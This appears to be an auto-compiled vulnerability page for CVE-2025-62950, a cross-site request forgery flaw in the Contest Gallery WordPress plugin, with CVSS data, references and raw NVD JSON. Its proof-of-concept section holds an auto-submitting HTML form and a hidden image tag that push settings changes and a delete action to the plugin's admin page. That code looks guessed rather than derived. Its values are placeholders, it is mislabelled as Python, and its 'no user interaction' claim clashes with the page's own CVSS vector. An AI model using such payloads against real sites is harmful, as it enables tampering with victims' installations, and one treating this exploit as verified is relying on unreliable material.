CVE-2025-62950

Description

Cross-Site Request Forgery (CSRF) vulnerability in Wasiliy Strecker / ContestGallery developer Contest Gallery contest-gallery allows Cross Site Request Forgery.This issue affects Contest Gallery: from n/a through <= 28.0.0.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Contest Gallery <= 28.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62950 - Contest Gallery CSRF -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - Contest Gallery</title>
</head>
<body>
    <h1>CSRF PoC for CVE-2025-62950</h1>
    <p>This PoC demonstrates a CSRF attack on Contest Gallery plugin.</p>
    
    <form action="http://target-site/wp-admin/admin.php?page=contest-gallery-index" method="POST" id="csrfForm">
        <!-- Example: Modify gallery settings -->
        <input type="hidden" name="option_id" value="1">
        <input type="hidden" name="contest_gallery_new_option" value="malicious_value">
        <input type="hidden" name="action" value="save">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>If you see this message, the CSRF attack has been executed.</p>
</body>
</html>

<!-- Alternative: Image-based CSRF (no user interaction required) -->
<img src="http://target-site/wp-admin/admin.php?page=contest-gallery-index&action=delete&id=1" width="0" height="0" border="0">

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62950
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62950
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62950/
[4] VulDB https://vuldb.com/cve/CVE-2025-62950
[5] https://patchstack.com/database/Wordpress/Plugin/contest-gallery/vulnerability/wordpress-contest-gallery-plugin-28-0-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62950", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:13.540", "lastModified": "2026-04-27T17:16:37.363", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Wasiliy Strecker / ContestGallery developer Contest Gallery contest-gallery allows Cross Site Request Forgery.This issue affects Contest Gallery: from n/a through <= 28.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/contest-gallery/vulnerability/wordpress-contest-gallery-plugin-28-0-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}